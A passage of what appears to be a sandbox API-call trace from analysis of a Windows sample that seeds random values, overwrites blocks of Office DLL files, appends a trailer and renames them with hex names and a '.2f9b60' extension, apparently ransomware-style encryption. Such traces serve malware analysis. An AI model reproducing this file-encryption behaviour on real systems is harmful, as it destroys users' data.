lpNumberOfBytesWritten=0x1fcef710, lpOverlapped=0x0 | out: lpBuffer=0x1338c0*, lpNumberOfBytesWritten=0x1fcef710*=0x158, lpOverlapped=0x0) returned 1 [0216.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ab0 [0216.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ec0 [0216.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a69b0 [0216.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a69b0) returned 1 [0216.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a69b0 [0216.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a69e0 [0216.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6aa0 [0216.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6aa0) returned 1 [0216.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0216.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ab0) returned 1 [0216.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x431f9840 [0216.201] sprintf (in: _Dest=0x431f9840, _Format="%c%c" | out: _Dest="24") returned 2 [0216.201] sprintf (in: _Dest=0x431f9842, _Format="%c%c" | out: _Dest="7f") returned 2 [0216.201] sprintf (in: _Dest=0x431f9844, _Format="%c%c" | out: _Dest="90") returned 2 [0216.201] sprintf (in: _Dest=0x431f9846, _Format="%c%c" | out: _Dest="92") returned 2 [0216.201] sprintf (in: _Dest=0x431f9848, _Format="%c%c" | out: _Dest="0e") returned 2 [0216.201] sprintf (in: _Dest=0x431f984a, _Format="%c%c" | out: _Dest="08") returned 2 [0216.201] sprintf (in: _Dest=0x431f984c, _Format="%c%c" | out: _Dest="98") returned 2 [0216.201] sprintf (in: _Dest=0x431f984e, _Format="%c%c" | out: _Dest="60") returned 2 [0216.201] sprintf (in: _Dest=0x431f9850, _Format="%c%c" | out: _Dest="89") returned 2 [0216.201] sprintf (in: _Dest=0x431f9852, _Format="%c%c" | out: _Dest="3b") returned 2 [0216.201] sprintf (in: _Dest=0x431f9854, _Format="%c%c" | out: _Dest="8f") returned 2 [0216.202] sprintf (in: _Dest=0x431f9856, _Format="%c%c" | out: _Dest="0b") returned 2 [0216.202] sprintf (in: _Dest=0x431f9858, _Format="%c%c" | out: _Dest="fd") returned 2 [0216.202] sprintf (in: _Dest=0x431f985a, _Format="%c%c" | out: _Dest="71") returned 2 [0216.202] sprintf (in: _Dest=0x431f985c, _Format="%c%c" | out: _Dest="96") returned 2 [0216.202] sprintf (in: _Dest=0x431f985e, _Format="%c%c" | out: _Dest="7a") returned 2 [0216.202] sprintf (in: _Dest=0x431f9860, _Format="%c%c" | out: _Dest="3b") returned 2 [0216.202] sprintf (in: _Dest=0x431f9862, _Format="%c%c" | out: _Dest="e0") returned 2 [0216.202] sprintf (in: _Dest=0x431f9864, _Format="%c%c" | out: _Dest="4c") returned 2 [0216.202] sprintf (in: _Dest=0x431f9866, _Format="%c%c" | out: _Dest="db") returned 2 [0216.202] sprintf (in: _Dest=0x431f9868, _Format="%c%c" | out: _Dest="96") returned 2 [0216.202] sprintf (in: _Dest=0x431f986a, _Format="%c%c" | out: _Dest="6f") returned 2 [0216.202] sprintf (in: _Dest=0x431f986c, _Format="%c%c" | out: _Dest="89") returned 2 [0216.202] sprintf (in: _Dest=0x431f986e, _Format="%c%c" | out: _Dest="3f") returned 2 [0216.202] sprintf (in: _Dest=0x431f9870, _Format="%c%c" | out: _Dest="1b") returned 2 [0216.202] sprintf (in: _Dest=0x431f9872, _Format="%c%c" | out: _Dest="f7") returned 2 [0216.202] sprintf (in: _Dest=0x431f9874, _Format="%c%c" | out: _Dest="33") returned 2 [0216.202] sprintf (in: _Dest=0x431f9876, _Format="%c%c" | out: _Dest="fb") returned 2 [0216.202] sprintf (in: _Dest=0x431f9878, _Format="%c%c" | out: _Dest="28") returned 2 [0216.202] sprintf (in: _Dest=0x431f987a, _Format="%c%c" | out: _Dest="23") returned 2 [0216.202] sprintf (in: _Dest=0x431f987c, _Format="%c%c" | out: _Dest="7e") returned 2 [0216.202] sprintf (in: _Dest=0x431f987e, _Format="%c%c" | out: _Dest="2d") returned 2 [0216.202] sprintf (in: _Dest=0x431f9880, _Format="%c%c" | out: _Dest="34") returned 2 [0216.202] sprintf (in: _Dest=0x431f9882, _Format="%c%c" | out: _Dest="77") returned 2 [0216.202] sprintf (in: _Dest=0x431f9884, _Format="%c%c" | out: _Dest="03") returned 2 [0216.202] sprintf (in: _Dest=0x431f9886, _Format="%c%c" | out: _Dest="98") returned 2 [0216.202] sprintf (in: _Dest=0x431f9888, _Format="%c%c" | out: _Dest="36") returned 2 [0216.203] sprintf (in: _Dest=0x431f988a, _Format="%c%c" | out: _Dest="b5") returned 2 [0216.203] RtlInitAnsiString (in: DestinationString=0x1fcef788, SourceString="247f90920e089860893b8f0bfd71967a3be04cdb966f893f1bf733fb28237e2d3477039836b5" | out: DestinationString="247f90920e089860893b8f0bfd71967a3be04cdb966f893f1bf733fb28237e2d3477039836b5") [0216.203] RtlAnsiStringToUnicodeString (in: DestinationString=0x1fcef758, SourceString="247f90920e089860893b8f0bfd71967a3be04cdb966f893f1bf733fb28237e2d3477039836b5", AllocateDestinationString=1 | out: DestinationString="247f90920e089860893b8f0bfd71967a3be04cdb966f893f1bf733fb28237e2d3477039836b5") returned 0x0 [0216.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1ce17a50 [0216.203] wcscat (in: _Dest=0x4318ad60, _Source="247f90920e089860893" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\247f90920e089860893") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\247f90920e089860893" [0216.204] wcscat (in: _Dest=0x4318ad60, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\247f90920e089860893.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\247f90920e089860893.2f9b60" [0216.204] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\247f90920e089860893.2f9b60", NtPathName=0x1fcef730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\247f90920e089860893.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0216.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4312aea0 Thread: id = 1702 os_tid = 0xb28 [0130.814] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\wwintl.dll.trx_dll")) returned 0x2020 [0130.814] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll", dwFileAttributes=0x20) returned 1 [0130.819] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\wwintl.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1aa4 [0130.820] GetFileSizeEx (in: hFile=0x1aa4, lpFileSize=0x213af7e0 | out: lpFileSize=0x213af7e0*=154464) returned 1 [0130.820] SetFilePointerEx (in: hFile=0x1aa4, liDistanceToMove=0x25b5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.820] ReadFile (in: hFile=0x1aa4, lpBuffer=0x213af760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x213af7a8, lpOverlapped=0x0 | out: lpBuffer=0x213af760*, lpNumberOfBytesRead=0x213af7a8*=0x4, lpOverlapped=0x0) returned 1 [0130.821] SetFilePointerEx (in: hFile=0x1aa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266420 [0130.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266450 [0130.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266480 [0130.822] NtQuerySystemTime (in: CurrentTime=0x213af6a0 | out: CurrentTime=0x213af6a0*=132462177360706000) returned 0x0 [0130.822] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x66927924 [0130.822] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0xd593517 [0130.822] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x33621a66 [0130.822] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x5f11d27e [0130.822] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x3f6c954f [0130.822] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x5933b84c [0130.822] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x51f2281f [0130.822] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x177d206a [0130.822] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x31eb1718 [0130.822] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x3cd3f963 [0130.822] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x4c599469 [0130.822] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x5dc5cc61 [0130.822] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x34f40371 [0130.822] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x4aadf5fa [0130.822] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x6d164b36 [0130.822] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x2056991a [0130.822] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x569e519 [0130.822] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x1a4aa339 [0130.822] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x731525f [0130.822] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x3eab49a3 [0130.823] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x5530f1e3 [0130.823] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x98fcb18 [0130.823] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x6e47b2c4 [0130.823] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x215fd9a1 [0130.823] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x6762f0b9 [0130.823] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x50bf32da [0130.823] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x1ffcb8f9 [0130.823] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0xa5d802d [0130.823] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x6397aedf [0130.823] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x2b249374 [0130.823] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0xbf95734 [0130.823] RtlRandomEx (in: Seed=0x213af690 | out: Seed=0x213af690) returned 0x3f818563 [0130.831] SetFilePointerEx (in: hFile=0x1aa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.831] ReadFile (in: hFile=0x1aa4, lpBuffer=0x41c62d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x213af700, lpOverlapped=0x0 | out: lpBuffer=0x41c62d00*, lpNumberOfBytesRead=0x213af700*=0x3c00, lpOverlapped=0x0) returned 1 [0130.848] SetFilePointerEx (in: hFile=0x1aa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97710 [0130.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867940 [0130.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266420 [0130.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266420) returned 1 [0130.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c6a520 [0130.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266420 [0130.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266480 [0130.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266480) returned 1 [0130.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867940) returned 1 [0130.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0130.850] WriteFile (hFile=0x1aa4, lpBuffer=0x41c6a520, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x213af700, lpOverlapped=0x0) [0180.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c6a520) returned 1 [0180.070] SetFilePointerEx (in: hFile=0x1aa4, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.070] ReadFile (in: hFile=0x1aa4, lpBuffer=0x41c62d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x213af700, lpOverlapped=0x0 | out: lpBuffer=0x41c62d00*, lpNumberOfBytesRead=0x213af700*=0x3c00, lpOverlapped=0x0) returned 1 [0182.147] SetFilePointerEx (in: hFile=0x1aa4, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f2a0 [0182.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f2a0) returned 1 [0182.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202178d0 [0182.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f2a0 [0182.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f2d0 [0182.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f2d0) returned 1 [0182.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.150] WriteFile (in: hFile=0x1aa4, lpBuffer=0x202178d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x213af700, lpOverlapped=0x0 | out: lpBuffer=0x202178d0*, lpNumberOfBytesWritten=0x213af700*=0x3c00, lpOverlapped=0x0) returned 1 [0198.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202178d0) returned 1 [0198.017] SetFilePointerEx (in: hFile=0x1aa4, liDistanceToMove=0x21f60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.017] ReadFile (in: hFile=0x1aa4, lpBuffer=0x41c62d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x213af700, lpOverlapped=0x0 | out: lpBuffer=0x41c62d00*, lpNumberOfBytesRead=0x213af700*=0x3c00, lpOverlapped=0x0) returned 1 [0198.853] SetFilePointerEx (in: hFile=0x1aa4, liDistanceToMove=0x21f60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0198.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0198.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b7d0 [0198.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b7d0) returned 1 [0198.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4301d540 [0198.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b7d0 [0198.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b800 [0198.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b800) returned 1 [0198.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0198.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0198.857] WriteFile (in: hFile=0x1aa4, lpBuffer=0x4301d540*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x213af700, lpOverlapped=0x0 | out: lpBuffer=0x4301d540*, lpNumberOfBytesWritten=0x213af700*=0x3c00, lpOverlapped=0x0) returned 1 [0213.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4301d540) returned 1 [0213.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f6e0 [0213.856] SetFilePointerEx (in: hFile=0x1aa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0213.856] WriteFile (in: hFile=0x1aa4, lpBuffer=0x133ce0*, nNumberOfBytesToWrite=0x156, lpNumberOfBytesWritten=0x213af7b0, lpOverlapped=0x0 | out: lpBuffer=0x133ce0*, lpNumberOfBytesWritten=0x213af7b0*=0x156, lpOverlapped=0x0) returned 1 [0216.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5ba70 [0216.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0216.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260140 [0216.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260140) returned 1 [0216.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20260140 [0216.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260290 [0216.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d50 [0216.484] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262d50) returned 1 [0216.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0216.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ba70) returned 1 [0216.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1b858a30 [0216.486] sprintf (in: _Dest=0x1b858a30, _Format="%c%c" | out: _Dest="bb") returned 2 [0216.486] sprintf (in: _Dest=0x1b858a32, _Format="%c%c" | out: _Dest="57") returned 2 [0216.486] sprintf (in: _Dest=0x1b858a34, _Format="%c%c" | out: _Dest="14") returned 2 [0216.486] sprintf (in: _Dest=0x1b858a36, _Format="%c%c" | out: _Dest="43") returned 2 [0216.486] sprintf (in: _Dest=0x1b858a38, _Format="%c%c" | out: _Dest="0f") returned 2 [0216.486] sprintf (in: _Dest=0x1b858a3a, _Format="%c%c" | out: _Dest="60") returned 2 [0216.486] sprintf (in: _Dest=0x1b858a3c, _Format="%c%c" | out: _Dest="55") returned 2 [0216.486] sprintf (in: _Dest=0x1b858a3e, _Format="%c%c" | out: _Dest="43") returned 2 [0216.486] sprintf (in: _Dest=0x1b858a40, _Format="%c%c" | out: _Dest="5f") returned 2 [0216.486] sprintf (in: _Dest=0x1b858a42, _Format="%c%c" | out: _Dest="ec") returned 2 [0216.487] sprintf (in: _Dest=0x1b858a44, _Format="%c%c" | out: _Dest="50") returned 2 [0216.487] sprintf (in: _Dest=0x1b858a46, _Format="%c%c" | out: _Dest="e0") returned 2 [0216.487] sprintf (in: _Dest=0x1b858a48, _Format="%c%c" | out: _Dest="65") returned 2 [0216.487] sprintf (in: _Dest=0x1b858a4a, _Format="%c%c" | out: _Dest="90") returned 2 [0216.487] sprintf (in: _Dest=0x1b858a4c, _Format="%c%c" | out: _Dest="14") returned 2 [0216.487] sprintf (in: _Dest=0x1b858a4e, _Format="%c%c" | out: _Dest="82") returned 2 [0216.487] sprintf (in: _Dest=0x1b858a50, _Format="%c%c" | out: _Dest="77") returned 2 [0216.487] sprintf (in: _Dest=0x1b858a52, _Format="%c%c" | out: _Dest="59") returned 2 [0216.487] sprintf (in: _Dest=0x1b858a54, _Format="%c%c" | out: _Dest="0e") returned 2 [0216.487] sprintf (in: _Dest=0x1b858a56, _Format="%c%c" | out: _Dest="55") returned 2 [0216.487] sprintf (in: _Dest=0x1b858a58, _Format="%c%c" | out: _Dest="7f") returned 2 [0216.487] sprintf (in: _Dest=0x1b858a5a, _Format="%c%c" | out: _Dest="45") returned 2 [0216.487] sprintf (in: _Dest=0x1b858a5c, _Format="%c%c" | out: _Dest="90") returned 2 [0216.487] sprintf (in: _Dest=0x1b858a5e, _Format="%c%c" | out: _Dest="53") returned 2 [0216.487] sprintf (in: _Dest=0x1b858a60, _Format="%c%c" | out: _Dest="b1") returned 2 [0216.487] sprintf (in: _Dest=0x1b858a62, _Format="%c%c" | out: _Dest="51") returned 2 [0216.488] sprintf (in: _Dest=0x1b858a64, _Format="%c%c" | out: _Dest="6a") returned 2 [0216.488] sprintf (in: _Dest=0x1b858a66, _Format="%c%c" | out: _Dest="de") returned 2 [0216.488] sprintf (in: _Dest=0x1b858a68, _Format="%c%c" | out: _Dest="60") returned 2 [0216.488] sprintf (in: _Dest=0x1b858a6a, _Format="%c%c" | out: _Dest="31") returned 2 [0216.488] sprintf (in: _Dest=0x1b858a6c, _Format="%c%c" | out: _Dest="50") returned 2 [0216.488] sprintf (in: _Dest=0x1b858a6e, _Format="%c%c" | out: _Dest="5b") returned 2 [0216.488] sprintf (in: _Dest=0x1b858a70, _Format="%c%c" | out: _Dest="e4") returned 2 [0216.488] sprintf (in: _Dest=0x1b858a72, _Format="%c%c" | out: _Dest="1b") returned 2 [0216.488] sprintf (in: _Dest=0x1b858a74, _Format="%c%c" | out: _Dest="34") returned 2 [0216.488] sprintf (in: _Dest=0x1b858a76, _Format="%c%c" | out: _Dest="16") returned 2 [0216.488] RtlInitAnsiString (in: DestinationString=0x213af828, SourceString="bb5714430f6055435fec50e06590148277590e557f459053b1516ade6031505be41b3416" | out: DestinationString="bb5714430f6055435fec50e06590148277590e557f459053b1516ade6031505be41b3416") [0216.488] RtlAnsiStringToUnicodeString (in: DestinationString=0x213af7f8, SourceString="bb5714430f6055435fec50e06590148277590e557f459053b1516ade6031505be41b3416", AllocateDestinationString=1 | out: DestinationString="bb5714430f6055435fec50e06590148277590e557f459053b1516ade6031505be41b3416") returned 0x0 [0216.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4318b300 [0216.489] wcscat (in: _Dest=0x4318b260, _Source="bb5714430f6055435f" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\bb5714430f6055435f") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\bb5714430f6055435f" [0216.489] wcscat (in: _Dest=0x4318b260, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\bb5714430f6055435f.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\bb5714430f6055435f.2f9b60" [0216.489] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\bb5714430f6055435f.2f9b60", NtPathName=0x213af7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\bb5714430f6055435f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0216.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x4312b560 Thread: id = 1703 os_tid = 0x4d0 [0130.845] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\wwintl.rest.trx_dll")) returned 0x2020 [0130.846] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll", dwFileAttributes=0x20) returned 1 [0130.847] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\wwintl.rest.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1aa8 [0130.847] GetFileSizeEx (in: hFile=0x1aa8, lpFileSize=0x2142fb60 | out: lpFileSize=0x2142fb60*=1137504) returned 1 [0130.847] SetFilePointerEx (in: hFile=0x1aa8, liDistanceToMove=0x115b5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.847] ReadFile (in: hFile=0x1aa8, lpBuffer=0x2142fae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2142fb28, lpOverlapped=0x0 | out: lpBuffer=0x2142fae0*, lpNumberOfBytesRead=0x2142fb28*=0x4, lpOverlapped=0x0) returned 1 [0130.852] SetFilePointerEx (in: hFile=0x1aa8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266480 [0130.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266510 [0130.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266540 [0130.852] NtQuerySystemTime (in: CurrentTime=0x2142fa20 | out: CurrentTime=0x2142fa20*=132462177360862000) returned 0x0 [0130.852] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x5df9bc5 [0130.852] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x776da195 [0130.852] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x1d428ae5 [0130.852] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x5c24c897 [0130.852] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x20fe8ac5 [0130.852] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x5defb50b [0130.852] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x72e80012 [0130.852] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0xe83bfd8 [0130.852] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x1b23b713 [0130.852] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x4aa9c9d2 [0130.853] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x279261ea [0130.853] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x280d4ade [0130.853] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x5cf7b0ba [0130.853] RtlRandomEx (in: Seed=0x2142fa10 | out: 